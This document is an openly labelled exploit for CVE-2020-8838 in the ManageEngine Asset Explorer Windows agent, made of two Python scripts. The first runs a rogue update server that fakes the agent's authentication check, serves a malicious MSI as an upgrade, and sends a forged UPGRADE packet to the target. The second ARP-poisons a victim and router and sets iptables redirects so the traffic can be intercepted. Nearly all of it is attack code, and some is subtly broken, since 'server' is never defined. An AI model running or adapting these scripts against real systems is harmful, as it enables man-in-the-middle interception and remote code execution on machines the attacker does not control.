CVE-2020-8838 Manage Engine Asset Explorer Windows Agent - Remote Code Execution Vulnerability

#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 exploit.py <target>

from http.server import  BaseHTTPRequestHandler
from http.server import  HTTPServer
import code
import os
import threading
import socket
import sys
import ssl


class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.server_version = "-"
        self.sys_version = ""
        if 'AUTH_TOKEN' in self.path:
            response_body = "true"
            print("Received AUTH_TOKEN request")
            # print(self.path)
            # print(self.headers)
            self.send_response(200)
            self.send_header("Set-Cookie","SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
            self.send_header("Content-Length",len(response_body))
            self.end_headers()
            self.wfile.write(bytes(response_body.encode("utf-8")))
        else:
           # print(self.path)
            self.send_response(404)
            self.end_headers()
            self.wfile.write("<br>POST".encode('utf-8'))

    def do_GET(self):
        self.server_version = "-"
        self.sys_version = ""
        agent_data = open("aeagent2.msi", 'rb').read()
        if 'ManageEngineAssetExplorerAgent.msi' in self.path:
            response_body = agent_data
            print("Received binary package request")
            print(self.path)
            print(self.headers)
            print("Malicious binary sent")
            self.send_response(200)
            self.send_header("Set-Cookie", "SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
            self.send_header("Content-Length", len(response_body))
            self.send_header("Accept-Ranges", "bytes")
            self.send_header("Connection", "close")
            self.end_headers()
            self.wfile.write(bytes(response_body))
        else:
            print(self.path)
            self.send_response(404)
            self.end_headers()
            self.wfile.write("<br>GET".encode("utf-8"))

def send_upgrade_packet(ip, port=9000):
    """by default exploit will send an UPGRADE packet on port 9000"""
    agent_auth = "ABBBBB"
    agent_id = "WIN-1D8NLD1QO81_1555159094695"
    operation = "UPGRADE"
    data = agent_id + "#" + agent_auth + "#" + agent_id + "#" + operation
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    ssl_sock = ssl.wrap_socket(sock)
    ssl_sock.connect((ip, int(port)))
    ans = input("Send Exploit ?")
    if ans.lower() in 'yes':
        print("Sending UPGRADE request...")
        ssl_sock.send(data.encode('utf-8'))
        print(ssl_sock.recv(1024))
        ssl_sock.close()

def main():
    """ ManageEngineAssetExplorerAgent Exploit in default configurations"""
    agent_ip = sys.argv[1]
    local_server_port = 443

    if len(sys.argv) > 2:
        if sys.argv[2] == '--ssl':
            server.socket = ssl.wrap_socket(server.socket, certfile="./server.pem", server_side=True)
            print("HTTPS Server listening at %d" % local_server_port)
    else:
        print("HTTP Server listening at %d" % local_server_port)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.start()
    client_thread = threading.Thread(target=send_upgrade_packet,args=(agent_ip,))
    client_thread.start()

if __name__=="__main__":
  main()

#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 arp_spoof.py <target> <upgrade_server> <target_port> start


from scapy.all import *
import logging
import time
import signal
import os

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def get_mac(ip):
    res, unres = arping(ip)
    for s, r in res:
        return r[Ether].src

def arp_restore(victim_ip, router_ip, victim_mac, router_mac):
    send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victim_mac), 3)
    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=router_mac), 3)

def arp_poison(victim_ip, router_ip, victim_mac, router_mac):
    """As we are not defining hwsrc, the hwsrc will be taken as our
    hardware mac address and thus putting us between victim and router"""

    send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=victim_mac))
    send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=router_mac))

def create_env(port=8080):
    cmds = set()
    os.system("iptables -t nat -F")
    print("Iptables NAT cleared")
    print("Ip foward rule inserted");
    cmds.add('echo "1" > /proc/sys/net/ipv4/ip_forward')
    cmds.add("iptables -t nat -A PREROUTING -p tcp --destination-port %s -j REDIRECT --to-port %s" % (port, port))
    for cmd in cmds:
        time.sleep(1)
        os.system(cmd)

if __name__ == '__main__':
    _server_port = sys.argv[3]
    _victim_ip = sys.argv[1]
    _router_ip = sys.argv[2]
    _router_mac = get_mac(_router_ip)
    _victim_mac = get_mac(_victim_ip)

    create_env(port=_server_port)
    def signal_handler(signal, frame):
        print("Restoring ARP Cache...")
        arp_restore(_victim_ip, _router_ip, _victim_mac, _router_mac)
        os._exit(0)

    signal.signal(signal.SIGINT, signal_handler)
    if sys.argv[4] == "start":
        while 1:
            arp_poison(_victim_ip, _router_ip, _victim_mac, _router_mac)
            time.sleep(1.5)